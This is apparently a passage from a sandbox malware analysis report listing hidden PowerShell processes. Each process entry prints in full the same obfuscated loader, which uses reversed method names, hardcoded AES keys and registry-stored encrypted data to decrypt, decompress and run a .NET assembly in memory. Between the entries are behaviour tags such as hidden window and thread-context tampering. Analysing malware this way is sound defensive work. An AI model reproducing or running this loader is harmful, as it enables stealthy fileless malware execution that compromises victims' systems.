'')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:5608
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:2936
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:5044
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = 